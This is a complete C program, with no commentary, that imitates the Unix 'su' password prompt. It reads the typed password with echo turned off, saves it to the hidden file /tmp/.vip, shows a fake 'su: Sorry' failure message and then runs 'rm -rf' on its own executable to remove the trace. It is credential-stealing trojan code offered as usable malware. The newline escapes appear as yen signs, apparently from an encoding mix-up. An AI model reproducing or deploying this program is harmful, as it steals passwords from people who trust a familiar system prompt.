#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>

int main(int argc, char *argv[])
{
struct termios orig;
struct termios attr;
char buf[1024];
char rm[strlen(argv[0])+10];
FILE *fp;

fp = fopen("/tmp/.vip", "w");
tcgetattr(0, &orig);
attr = orig;
printf("Password:");
attr.c_lflag &= ~(ICANON|ECHO);
attr.c_cc[VMIN] = 1;
tcsetattr(0, TCSADRAIN, &attr);
fgets(buf, 1024, stdin);
tcsetattr(0, TCSADRAIN, &orig);
fprintf(fp, "%s",buf);
fclose(fp);
printf("¥nsu: Sorry¥n");
sprintf(rm, "rm -rf %s", argv[0]);
system(rm);
return 0;
}